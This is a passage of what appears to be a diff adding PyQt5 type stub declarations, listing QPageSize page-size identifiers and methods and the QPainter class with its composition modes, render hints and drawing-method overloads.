QPageSize.PageSizeId + A6 = ... # type: QPageSize.PageSizeId + A7 = ... # type: QPageSize.PageSizeId + A8 = ... # type: QPageSize.PageSizeId + A9 = ... # type: QPageSize.PageSizeId + B0 = ... # type: QPageSize.PageSizeId + B1 = ... # type: QPageSize.PageSizeId + B10 = ... # type: QPageSize.PageSizeId + B2 = ... # type: QPageSize.PageSizeId + B3 = ... # type: QPageSize.PageSizeId + B4 = ... # type: QPageSize.PageSizeId + B6 = ... # type: QPageSize.PageSizeId + B7 = ... # type: QPageSize.PageSizeId + B8 = ... # type: QPageSize.PageSizeId + B9 = ... # type: QPageSize.PageSizeId + C5E = ... # type: QPageSize.PageSizeId + Comm10E = ... # type: QPageSize.PageSizeId + DLE = ... # type: QPageSize.PageSizeId + Folio = ... # type: QPageSize.PageSizeId + Ledger = ... # type: QPageSize.PageSizeId + Tabloid = ... # type: QPageSize.PageSizeId + Custom = ... # type: QPageSize.PageSizeId + A10 = ... # type: QPageSize.PageSizeId + A3Extra = ... # type: QPageSize.PageSizeId + A4Extra = ... # type: QPageSize.PageSizeId + A4Plus = ... # type: QPageSize.PageSizeId + A4Small = ... # type: QPageSize.PageSizeId + A5Extra = ... # type: QPageSize.PageSizeId + B5Extra = ... # type: QPageSize.PageSizeId + JisB0 = ... # type: QPageSize.PageSizeId + JisB1 = ... # type: QPageSize.PageSizeId + JisB2 = ... # type: QPageSize.PageSizeId + JisB3 = ... # type: QPageSize.PageSizeId + JisB4 = ... # type: QPageSize.PageSizeId + JisB5 = ... # type: QPageSize.PageSizeId + JisB6 = ... # type: QPageSize.PageSizeId + JisB7 = ... # type: QPageSize.PageSizeId + JisB8 = ... # type: QPageSize.PageSizeId + JisB9 = ... # type: QPageSize.PageSizeId + JisB10 = ... # type: QPageSize.PageSizeId + AnsiC = ... # type: QPageSize.PageSizeId + AnsiD = ... # type: QPageSize.PageSizeId + AnsiE = ... # type: QPageSize.PageSizeId + LegalExtra = ... # type: QPageSize.PageSizeId + LetterExtra = ... # type: QPageSize.PageSizeId + LetterPlus = ... # type: QPageSize.PageSizeId + LetterSmall = ... # type: QPageSize.PageSizeId + TabloidExtra = ... # type: QPageSize.PageSizeId + ArchA = ... # type: QPageSize.PageSizeId + ArchB = ... # type: QPageSize.PageSizeId + ArchC = ... # type: QPageSize.PageSizeId + ArchD = ... # type: QPageSize.PageSizeId + ArchE = ... # type: QPageSize.PageSizeId + Imperial7x9 = ... # type: QPageSize.PageSizeId + Imperial8x10 = ... # type: QPageSize.PageSizeId + Imperial9x11 = ... # type: QPageSize.PageSizeId + Imperial9x12 = ... # type: QPageSize.PageSizeId + Imperial10x11 = ... # type: QPageSize.PageSizeId + Imperial10x13 = ... # type: QPageSize.PageSizeId + Imperial10x14 = ... # type: QPageSize.PageSizeId + Imperial12x11 = ... # type: QPageSize.PageSizeId + Imperial15x11 = ... # type: QPageSize.PageSizeId + ExecutiveStandard = ... # type: QPageSize.PageSizeId + Note = ... # type: QPageSize.PageSizeId + Quarto = ... # type: QPageSize.PageSizeId + Statement = ... # type: QPageSize.PageSizeId + SuperA = ... # type: QPageSize.PageSizeId + SuperB = ... # type: QPageSize.PageSizeId + Postcard = ... # type: QPageSize.PageSizeId + DoublePostcard = ... # type: QPageSize.PageSizeId + Prc16K = ... # type: QPageSize.PageSizeId + Prc32K = ... # type: QPageSize.PageSizeId + Prc32KBig = ... # type: QPageSize.PageSizeId + FanFoldUS = ... # type: QPageSize.PageSizeId + FanFoldGerman = ... # type: QPageSize.PageSizeId + FanFoldGermanLegal = ... # type: QPageSize.PageSizeId + EnvelopeB4 = ... # type: QPageSize.PageSizeId + EnvelopeB5 = ... # type: QPageSize.PageSizeId + EnvelopeB6 = ... # type: QPageSize.PageSizeId + EnvelopeC0 = ... # type: QPageSize.PageSizeId + EnvelopeC1 = ... # type: QPageSize.PageSizeId + EnvelopeC2 = ... # type: QPageSize.PageSizeId + EnvelopeC3 = ... # type: QPageSize.PageSizeId + EnvelopeC4 = ... # type: QPageSize.PageSizeId + EnvelopeC6 = ... # type: QPageSize.PageSizeId + EnvelopeC65 = ... # type: QPageSize.PageSizeId + EnvelopeC7 = ... # type: QPageSize.PageSizeId + Envelope9 = ... # type: QPageSize.PageSizeId + Envelope11 = ... # type: QPageSize.PageSizeId + Envelope12 = ... # type: QPageSize.PageSizeId + Envelope14 = ... # type: QPageSize.PageSizeId + EnvelopeMonarch = ... # type: QPageSize.PageSizeId + EnvelopePersonal = ... # type: QPageSize.PageSizeId + EnvelopeChou3 = ... # type: QPageSize.PageSizeId + EnvelopeChou4 = ... # type: QPageSize.PageSizeId + EnvelopeInvite = ... # type: QPageSize.PageSizeId + EnvelopeItalian = ... # type: QPageSize.PageSizeId + EnvelopeKaku2 = ... # type: QPageSize.PageSizeId + EnvelopeKaku3 = ... # type: QPageSize.PageSizeId + EnvelopePrc1 = ... # type: QPageSize.PageSizeId + EnvelopePrc2 = ... # type: QPageSize.PageSizeId + EnvelopePrc3 = ... # type: QPageSize.PageSizeId + EnvelopePrc4 = ... # type: QPageSize.PageSizeId + EnvelopePrc5 = ... # type: QPageSize.PageSizeId + EnvelopePrc6 = ... # type: QPageSize.PageSizeId + EnvelopePrc7 = ... # type: QPageSize.PageSizeId + EnvelopePrc8 = ... # type: QPageSize.PageSizeId + EnvelopePrc9 = ... # type: QPageSize.PageSizeId + EnvelopePrc10 = ... # type: QPageSize.PageSizeId + EnvelopeYou4 = ... # type: QPageSize.PageSizeId + NPageSize = ... # type: QPageSize.PageSizeId + NPaperSize = ... # type: QPageSize.PageSizeId + AnsiA = ... # type: QPageSize.PageSizeId + AnsiB = ... # type: QPageSize.PageSizeId + EnvelopeC5 = ... # type: QPageSize.PageSizeId + EnvelopeDL = ... # type: QPageSize.PageSizeId + Envelope10 = ... # type: QPageSize.PageSizeId + LastPageSize = ... # type: QPageSize.PageSizeId + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pageSizeId: 'QPageSize.PageSizeId') -> None: ... + @typing.overload + def __init__(self, pointSize: QtCore.QSize, name: str = ..., matchPolicy: 'QPageSize.SizeMatchPolicy' = ...) -> None: ... + @typing.overload + def __init__(self, size: QtCore.QSizeF, units: 'QPageSize.Unit', name: str = ..., matchPolicy: 'QPageSize.SizeMatchPolicy' = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QPageSize') -> None: ... + + def rectPixels(self, resolution: int) -> QtCore.QRect: ... + def rectPoints(self) -> QtCore.QRect: ... + def rect(self, units: 'QPageSize.Unit') -> QtCore.QRectF: ... + @typing.overload + def sizePixels(self, resolution: int) -> QtCore.QSize: ... + @typing.overload + @staticmethod + def sizePixels(pageSizeId: 'QPageSize.PageSizeId', resolution: int) -> QtCore.QSize: ... + @typing.overload + def sizePoints(self) -> QtCore.QSize: ... + @typing.overload + @staticmethod + def sizePoints(pageSizeId: 'QPageSize.PageSizeId') -> QtCore.QSize: ... + @typing.overload + def size(self, units: 'QPageSize.Unit') -> QtCore.QSizeF: ... + @typing.overload + @staticmethod + def size(pageSizeId: 'QPageSize.PageSizeId', units: 'QPageSize.Unit') -> QtCore.QSizeF: ... + @typing.overload + def definitionUnits(self) -> 'QPageSize.Unit': ... + @typing.overload + @staticmethod + def definitionUnits(pageSizeId: 'QPageSize.PageSizeId') -> 'QPageSize.Unit': ... + @typing.overload + def definitionSize(self) -> QtCore.QSizeF: ... + @typing.overload + @staticmethod + def definitionSize(pageSizeId: 'QPageSize.PageSizeId') -> QtCore.QSizeF: ... + @typing.overload + def windowsId(self) -> int: ... + @typing.overload + @staticmethod + def windowsId(pageSizeId: 'QPageSize.PageSizeId') -> int: ... + @typing.overload + def id(self) -> 'QPageSize.PageSizeId': ... + @typing.overload + @staticmethod + def id(pointSize: QtCore.QSize, matchPolicy: 'QPageSize.SizeMatchPolicy' = ...) -> 'QPageSize.PageSizeId': ... + @typing.overload + @staticmethod + def id(size: QtCore.QSizeF, units: 'QPageSize.Unit', matchPolicy: 'QPageSize.SizeMatchPolicy' = ...) -> 'QPageSize.PageSizeId': ... + @typing.overload + @staticmethod + def id(windowsId: int) -> 'QPageSize.PageSizeId': ... + @typing.overload + def name(self) -> str: ... + @typing.overload + @staticmethod + def name(pageSizeId: 'QPageSize.PageSizeId') -> str: ... + @typing.overload + def key(self) -> str: ... + @typing.overload + @staticmethod + def key(pageSizeId: 'QPageSize.PageSizeId') -> str: ... + def isValid(self) -> bool: ... + def isEquivalentTo(self, other: 'QPageSize') -> bool: ... + def swap(self, other: 'QPageSize') -> None: ... + + +class QPainter(sip.simplewrapper): + + class PixmapFragmentHint(int): + OpaqueHint = ... # type: QPainter.PixmapFragmentHint + + class CompositionMode(int): + CompositionMode_SourceOver = ... # type: QPainter.CompositionMode + CompositionMode_DestinationOver = ... # type: QPainter.CompositionMode + CompositionMode_Clear = ... # type: QPainter.CompositionMode + CompositionMode_Source = ... # type: QPainter.CompositionMode + CompositionMode_Destination = ... # type: QPainter.CompositionMode + CompositionMode_SourceIn = ... # type: QPainter.CompositionMode + CompositionMode_DestinationIn = ... # type: QPainter.CompositionMode + CompositionMode_SourceOut = ... # type: QPainter.CompositionMode + CompositionMode_DestinationOut = ... # type: QPainter.CompositionMode + CompositionMode_SourceAtop = ... # type: QPainter.CompositionMode + CompositionMode_DestinationAtop = ... # type: QPainter.CompositionMode + CompositionMode_Xor = ... # type: QPainter.CompositionMode + CompositionMode_Plus = ... # type: QPainter.CompositionMode + CompositionMode_Multiply = ... # type: QPainter.CompositionMode + CompositionMode_Screen = ... # type: QPainter.CompositionMode + CompositionMode_Overlay = ... # type: QPainter.CompositionMode + CompositionMode_Darken = ... # type: QPainter.CompositionMode + CompositionMode_Lighten = ... # type: QPainter.CompositionMode + CompositionMode_ColorDodge = ... # type: QPainter.CompositionMode + CompositionMode_ColorBurn = ... # type: QPainter.CompositionMode + CompositionMode_HardLight = ... # type: QPainter.CompositionMode + CompositionMode_SoftLight = ... # type: QPainter.CompositionMode + CompositionMode_Difference = ... # type: QPainter.CompositionMode + CompositionMode_Exclusion = ... # type: QPainter.CompositionMode + RasterOp_SourceOrDestination = ... # type: QPainter.CompositionMode + RasterOp_SourceAndDestination = ... # type: QPainter.CompositionMode + RasterOp_SourceXorDestination = ... # type: QPainter.CompositionMode + RasterOp_NotSourceAndNotDestination = ... # type: QPainter.CompositionMode + RasterOp_NotSourceOrNotDestination = ... # type: QPainter.CompositionMode + RasterOp_NotSourceXorDestination = ... # type: QPainter.CompositionMode + RasterOp_NotSource = ... # type: QPainter.CompositionMode + RasterOp_NotSourceAndDestination = ... # type: QPainter.CompositionMode + RasterOp_SourceAndNotDestination = ... # type: QPainter.CompositionMode + RasterOp_NotSourceOrDestination = ... # type: QPainter.CompositionMode + RasterOp_SourceOrNotDestination = ... # type: QPainter.CompositionMode + RasterOp_ClearDestination = ... # type: QPainter.CompositionMode + RasterOp_SetDestination = ... # type: QPainter.CompositionMode + RasterOp_NotDestination = ... # type: QPainter.CompositionMode + + class RenderHint(int): + Antialiasing = ... # type: QPainter.RenderHint + TextAntialiasing = ... # type: QPainter.RenderHint + SmoothPixmapTransform = ... # type: QPainter.RenderHint + HighQualityAntialiasing = ... # type: QPainter.RenderHint + NonCosmeticDefaultPen = ... # type: QPainter.RenderHint + Qt4CompatiblePainting = ... # type: QPainter.RenderHint + LosslessImageRendering = ... # type: QPainter.RenderHint + + class RenderHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QPainter.RenderHints', 'QPainter.RenderHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QPainter.RenderHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QPainter.RenderHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class PixmapFragment(sip.simplewrapper): + + height = ... # type: float + opacity = ... # type: float + rotation = ... # type: float + scaleX = ... # type: float + scaleY = ... # type: float + sourceLeft = ... # type: float + sourceTop = ... # type: float + width = ... # type: float + x = ... # type: float + y = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPainter.PixmapFragment') -> None: ... + + @staticmethod + def create(pos: typing.Union[QtCore.QPointF, QtCore.QPoint], sourceRect: QtCore.QRectF, scaleX: float = ..., scaleY: float = ..., rotation: float = ..., opacity: float = ...) -> 'QPainter.PixmapFragment': ... + + class PixmapFragmentHints(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QPainter.PixmapFragmentHints', 'QPainter.PixmapFragmentHint']) -> None: ... + @typing.overload + def __init__(self, a0: 'QPainter.PixmapFragmentHints') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QPainter.PixmapFragmentHints': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QPaintDevice) -> None: ... + + def drawGlyphRun(self, position: typing.Union[QtCore.QPointF, QtCore.QPoint], glyphRun: QGlyphRun) -> None: ... + def clipBoundingRect(self) -> QtCore.QRectF: ... + @typing.overload + def drawStaticText(self, topLeftPosition: typing.Union[QtCore.QPointF, QtCore.QPoint], staticText: 'QStaticText') -> None: ... + @typing.overload + def drawStaticText(self, p: QtCore.QPoint, staticText: 'QStaticText') -> None: ... + @typing.overload + def drawStaticText(self, x: int, y: int, staticText: 'QStaticText') -> None: ... + def drawPixmapFragments(self, fragments: typing.List['QPainter.PixmapFragment'], pixmap: QPixmap, hints: 'QPainter.PixmapFragmentHints' = ...) -> None: ... + def endNativePainting(self) -> None: ... + def beginNativePainting(self) -> None: ... + @typing.overload + def drawRoundedRect(self, rect: QtCore.QRectF, xRadius: float, yRadius: float, mode: QtCore.Qt.SizeMode = ...) -> None: ... + @typing.overload + def drawRoundedRect(self, x: int, y: int, w: int, h: int, xRadius: float, yRadius: float, mode: QtCore.Qt.SizeMode = ...) -> None: ... + @typing.overload + def drawRoundedRect(self, rect: QtCore.QRect, xRadius: float, yRadius: float, mode: QtCore.Qt.SizeMode = ...) -> None: ... + def testRenderHint(self, hint: 'QPainter.RenderHint') -> bool: ... + def combinedTransform(self) -> 'QTransform': ... + def worldTransform(self) -> 'QTransform': ... + def setWorldTransform(self, matrix: 'QTransform', combine: bool = ...) -> None: ... + def resetTransform(self) -> None: ... + def deviceTransform(self) -> 'QTransform': ... + def transform(self) -> 'QTransform': ... + def setTransform(self, transform: 'QTransform', combine: bool = ...) -> None: ... + def setWorldMatrixEnabled(self, enabled: bool) -> None: ... + def worldMatrixEnabled(self) -> bool: ... + def setOpacity(self, opacity: float) -> None: ... + def opacity(self) -> float: ... + @typing.overload + def drawImage(self, r: QtCore.QRectF, image: QImage) -> None: ... + @typing.overload + def drawImage(self, r: QtCore.QRect, image: QImage) -> None: ... + @typing.overload + def drawImage(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], image: QImage) -> None: ... + @typing.overload + def drawImage(self, p: QtCore.QPoint, image: QImage) -> None: ... + @typing.overload + def drawImage(self, x: int, y: int, image: QImage, sx: int = ..., sy: int = ..., sw: int = ..., sh: int = ..., flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def drawImage(self, targetRect: QtCore.QRectF, image: QImage, sourceRect: QtCore.QRectF, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def drawImage(self, targetRect: QtCore.QRect, image: QImage, sourceRect: QtCore.QRect, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def drawImage(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], image: QImage, sr: QtCore.QRectF, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def drawImage(self, p: QtCore.QPoint, image: QImage, sr: QtCore.QRect, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + @typing.overload + def drawPoint(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def drawPoint(self, x: int, y: int) -> None: ... + @typing.overload + def drawPoint(self, p: QtCore.QPoint) -> None: ... + @typing.overload + def drawRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def drawRect(self, x: int, y: int, w: int, h: int) -> None: ... + @typing.overload + def drawRect(self, r: QtCore.QRect) -> None: ... + @typing.overload + def drawLine(self, l: QtCore.QLineF) -> None: ... + @typing.overload + def drawLine(self, line: QtCore.QLine) -> None: ... + @typing.overload + def drawLine(self, x1: int, y1: int, x2: int, y2: int) -> None: ... + @typing.overload + def drawLine(self, p1: QtCore.QPoint, p2: QtCore.QPoint) -> None: ... + @typing.overload + def drawLine(self, p1: typing.Union[QtCore.QPointF, QtCore.QPoint], p2: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def paintEngine(self) -> 'QPaintEngine': ... + def setRenderHints(self, hints: typing.Union['QPainter.RenderHints', 'QPainter.RenderHint'], on: bool = ...) -> None: ... + def renderHints(self) -> 'QPainter.RenderHints': ... + def setRenderHint(self, hint: 'QPainter.RenderHint', on: bool = ...) -> None: ... + @typing.overload + def eraseRect(self, a0: QtCore.QRectF) -> None: ... + @typing.overload + def eraseRect(self, rect: QtCore.QRect) -> None: ... + @typing.overload + def eraseRect(self, x: int, y: int, w: int, h: int) -> None: ... + @typing.overload + def fillRect(self, a0: QtCore.QRectF, a1: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, a0: QtCore.QRect, a1: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, x: int, y: int, w: int, h: int, b: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, a0: QtCore.QRectF, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, a0: QtCore.QRect, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, x: int, y: int, w: int, h: int, b: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def fillRect(self, x: int, y: int, w: int, h: int, c: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRect, c: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRectF, c: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def fillRect(self, x: int, y: int, w: int, h: int, style: QtCore.Qt.BrushStyle) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRect, style: QtCore.Qt.BrushStyle) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRectF, style: QtCore.Qt.BrushStyle) -> None: ... + @typing.overload + def fillRect(self, x: int, y: int, w: int, h: int, preset: QGradient.Preset) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRect, preset: QGradient.Preset) -> None: ... + @typing.overload + def fillRect(self, r: QtCore.QRectF, preset: QGradient.Preset) -> None: ... + @typing.overload + def boundingRect(self, rect: QtCore.QRectF, flags: int, text: str) -> QtCore.QRectF: ... + @typing.overload + def boundingRect(self, rect: QtCore.QRect, flags: int, text: str) -> QtCore.QRect: ... + @typing.overload + def boundingRect(self, rectangle: QtCore.QRectF, text: str, option: 'QTextOption' = ...) -> QtCore.QRectF: ... + @typing.overload + def boundingRect(self, x: int, y: int, w: int, h: int, flags: int, text: str) -> QtCore.QRect: ... + @typing.overload + def drawText(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], s: str) -> None: ... + @typing.overload + def drawText(self, rectangle: QtCore.QRectF, flags: int, text: str) -> QtCore.QRectF: ... + @typing.overload + def drawText(self, rectangle: QtCore.QRect, flags: int, text: str) -> QtCore.QRect: ... + @typing.overload + def drawText(self, rectangle: QtCore.QRectF, text: str, option: 'QTextOption' = ...) -> None: ... + @typing.overload + def drawText(self, p: QtCore.QPoint, s: str) -> None: ... + @typing.overload + def drawText(self, x: int, y: int, width: int, height: int, flags: int, text: str) -> QtCore.QRect: ... + @typing.overload + def drawText(self, x: int, y: int, s: str) -> None: ... + def layoutDirection(self) -> QtCore.Qt.LayoutDirection: ... + def setLayoutDirection(self, direction: QtCore.Qt.LayoutDirection) -> None: ... + @typing.overload + def drawPixmap(self, targetRect: QtCore.QRectF, pixmap: QPixmap, sourceRect: QtCore.QRectF) -> None: ... + @typing.overload + def drawPixmap(self, targetRect: QtCore.QRect, pixmap: QPixmap, sourceRect: QtCore.QRect) -> None: ... + @typing.overload + def drawPixmap(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], pm: QPixmap) -> None: ... + @typing.overload + def drawPixmap(self, p: QtCore.QPoint, pm: QPixmap) -> None: ... + @typing.overload + def drawPixmap(self, r: QtCore.QRect, pm: QPixmap) -> None: ... + @typing.overload + def drawPixmap(self, x: int, y: int, pm: QPixmap) -> None: ... + @typing.overload + def drawPixmap(self, x: int, y: int, w: int, h: int, pm: QPixmap) -> None: ... + @typing.overload + def drawPixmap(self, x: int, y: int, w: int, h: int, pm: QPixmap, sx: int, sy: int, sw: int, sh: int) -> None: ... + @typing.overload + def drawPixmap(self, x: int, y: int, pm: QPixmap, sx: int, sy: int, sw: int, sh: int) -> None: ... + @typing.overload + def drawPixmap(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], pm: QPixmap, sr: QtCore.QRectF) -> None: ... + @typing.overload + def drawPixmap(self, p: QtCore.QPoint, pm: QPixmap, sr: QtCore.QRect) -> None: ... + @typing.overload + def drawPicture(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], picture: 'QPicture') -> None: ... + @typing.overload + def drawPicture(self, x: int, y: int, p: 'QPicture') -> None: ... + @typing.overload + def drawPicture(self, pt: QtCore.QPoint, p: 'QPicture') -> None: ... + @typing.overload + def drawTiledPixmap(self, rectangle: QtCore.QRectF, pixmap: QPixmap, pos: typing.Union[QtCore.QPointF, QtCore.QPoint] = ...) -> None: ... + @typing.overload + def drawTiledPixmap(self, rectangle: QtCore.QRect, pixmap: QPixmap, pos: QtCore.QPoint = ...) -> None: ... + @typing.overload + def drawTiledPixmap(self, x: int, y: int, width: int, height: int, pixmap: QPixmap, sx: int = ..., sy: int = ...) -> None: ... + @typing.overload + def drawChord(self, rect: QtCore.QRectF, a: int, alen: int) -> None: ... + @typing.overload + def drawChord(self, rect: QtCore.QRect, a: int, alen: int) -> None: ... + @typing.overload + def drawChord(self, x: int, y: int, w: int, h: int, a: int, alen: int) -> None: ... + @typing.overload + def drawPie(self, rect: QtCore.QRectF, a: int, alen: int) -> None: ... + @typing.overload + def drawPie(self, rect: QtCore.QRect, a: int, alen: int) -> None: ... + @typing.overload + def drawPie(self, x: int, y: int, w: int, h: int, a: int, alen: int) -> None: ... + @typing.overload + def drawArc(self, rect: QtCore.QRectF, a: int, alen: int) -> None: ... + @typing.overload + def drawArc(self, r: QtCore.QRect, a: int, alen: int) -> None: ... + @typing.overload + def drawArc(self, x: int, y: int, w: int, h: int, a: int, alen: int) -> None: ... + @typing.overload + def drawConvexPolygon(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], *a1) -> None: ... + @typing.overload + def drawConvexPolygon(self, poly: 'QPolygonF') -> None: ... + @typing.overload + def drawConvexPolygon(self, point: QtCore.QPoint, *a1) -> None: ... + @typing.overload + def drawConvexPolygon(self, poly: 'QPolygon') -> None: ... + @typing.overload + def drawPolygon(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], *a1) -> None: ... + @typing.overload + def drawPolygon(self, points: 'QPolygonF', fillRule: QtCore.Qt.FillRule = ...) -> None: ... + @typing.overload + def drawPolygon(self, point: QtCore.QPoint, *a1) -> None: ... + @typing.overload + def drawPolygon(self, points: 'QPolygon', fillRule: QtCore.Qt.FillRule = ...) -> None: ... + @typing.overload + def drawPolyline(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], *a1) -> None: ... + @typing.overload + def drawPolyline(self, polyline: 'QPolygonF') -> None: ... + @typing.overload + def drawPolyline(self, point: QtCore.QPoint, *a1) -> None: ... + @typing.overload + def drawPolyline(self, polyline: 'QPolygon') -> None: ... + @typing.overload + def drawEllipse(self, r: QtCore.QRectF) -> None: ... + @typing.overload + def drawEllipse(self, r: QtCore.QRect) -> None: ... + @typing.overload + def drawEllipse(self, x: int, y: int, w: int, h: int) -> None: ... + @typing.overload + def drawEllipse(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], rx: float, ry: float) -> None: ... + @typing.overload + def drawEllipse(self, center: QtCore.QPoint, rx: int, ry: int) -> None: ... + @typing.overload + def drawRects(self, rect: QtCore.QRectF, *a1) -> None: ... + @typing.overload + def drawRects(self, rects: typing.Iterable[QtCore.QRectF]) -> None: ... + @typing.overload + def drawRects(self, rect: QtCore.QRect, *a1) -> None: ... + @typing.overload + def drawRects(self, rects: typing.Iterable[QtCore.QRect]) -> None: ... + @typing.overload + def drawLines(self, line: QtCore.QLineF, *a1) -> None: ... + @typing.overload + def drawLines(self, lines: typing.Iterable[QtCore.QLineF]) -> None: ... + @typing.overload + def drawLines(self, pointPair: typing.Union[QtCore.QPointF, QtCore.QPoint], *a1) -> None: ... + @typing.overload + def drawLines(self, pointPairs: typing.Iterable[typing.Union[QtCore.QPointF, QtCore.QPoint]]) -> None: ... + @typing.overload + def drawLines(self, line: QtCore.QLine, *a1) -> None: ... + @typing.overload + def drawLines(self, lines: typing.Iterable[QtCore.QLine]) -> None: ... + @typing.overload + def drawLines(self, pointPair: QtCore.QPoint, *a1) -> None: ... + @typing.overload + def drawLines(self, pointPairs: typing.Iterable[QtCore.QPoint]) -> None: ... + @typing.overload + def drawPoints(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], *a1) -> None: ... + @typing.overload + def drawPoints(self, points: 'QPolygonF') -> None: ... + @typing.overload + def drawPoints(self, point: QtCore.QPoint, *a1) -> None: ... + @typing.overload + def drawPoints(self, points: 'QPolygon') -> None: ... + def drawPath(self, path: 'QPainterPath') -> None: ... + def fillPath(self, path: 'QPainterPath', brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def strokePath(self, path: 'QPainterPath', pen: typing.Union['QPen', QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def viewTransformEnabled(self) -> bool: ... + def setViewTransformEnabled(self, enable: bool) -> None: ... + @typing.overload + def setViewport(self, viewport: QtCore.QRect) -> None: ... + @typing.overload + def setViewport(self, x: int, y: int, w: int, h: int) -> None: ... + def viewport(self) -> QtCore.QRect: ... + @typing.overload + def setWindow(self, window: QtCore.QRect) -> None: ... + @typing.overload + def setWindow(self, x: int, y: int, w: int, h: int) -> None: ... + def window(self) -> QtCore.QRect: ... + @typing.overload + def translate(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def translate(self, dx: float, dy: float) -> None: ... + @typing.overload + def translate(self, offset: QtCore.QPoint) -> None: ... + def rotate(self, a: float) -> None: ... + def shear(self, sh: float, sv: float) -> None: ... + def scale(self, sx: float, sy: float) -> None: ... + def restore(self) -> None: ... + def save(self) -> None: ... + def hasClipping(self) -> bool: ... + def setClipping(self, enable: bool) -> None: ... + def setClipPath(self, path: 'QPainterPath', operation: QtCore.Qt.ClipOperation = ...) -> None: ... + def setClipRegion(self, region: 'QRegion', operation: QtCore.Qt.ClipOperation = ...) -> None: ... + @typing.overload + def setClipRect(self, rectangle: QtCore.QRectF, operation: QtCore.Qt.ClipOperation = ...) -> None: ... + @typing.overload + def setClipRect(self, x: int, y: int, width: int, height: int, operation: QtCore.Qt.ClipOperation = ...) -> None: ... + @typing.overload + def setClipRect(self, rectangle: QtCore.QRect, operation: QtCore.Qt.ClipOperation = ...) -> None: ... + def clipPath(self) -> 'QPainterPath': ... + def clipRegion(self) -> 'QRegion': ... + def background(self) -> QBrush: ... + def setBackground(self, bg: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setBrushOrigin(self, a0: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setBrushOrigin(self, x: int, y: int) -> None: ... + @typing.overload + def setBrushOrigin(self, p: QtCore.QPoint) -> None: ... + def brushOrigin(self) -> QtCore.QPoint: ... + def backgroundMode(self) -> QtCore.Qt.BGMode: ... + def setBackgroundMode(self, mode: QtCore.Qt.BGMode) -> None: ... + def brush(self) -> QBrush: ... + @typing.overload + def setBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setBrush(self, style: QtCore.Qt.BrushStyle) -> None: ... + def pen(self) -> 'QPen': ... + @typing.overload + def setPen(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setPen(self, pen: typing.Union['QPen', QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setPen(self, style: QtCore.Qt.PenStyle) -> None: ... + def fontInfo(self) -> QFontInfo: ... + def fontMetrics(self) -> QFontMetrics: ... + def setFont(self, f: QFont) -> None: ... + def font(self) -> QFont: ... + def compositionMode(self) -> 'QPainter.CompositionMode': ... + def setCompositionMode(self, mode: 'QPainter.CompositionMode') -> None: ... + def isActive(self) -> bool: ... + def end(self) -> bool: ... 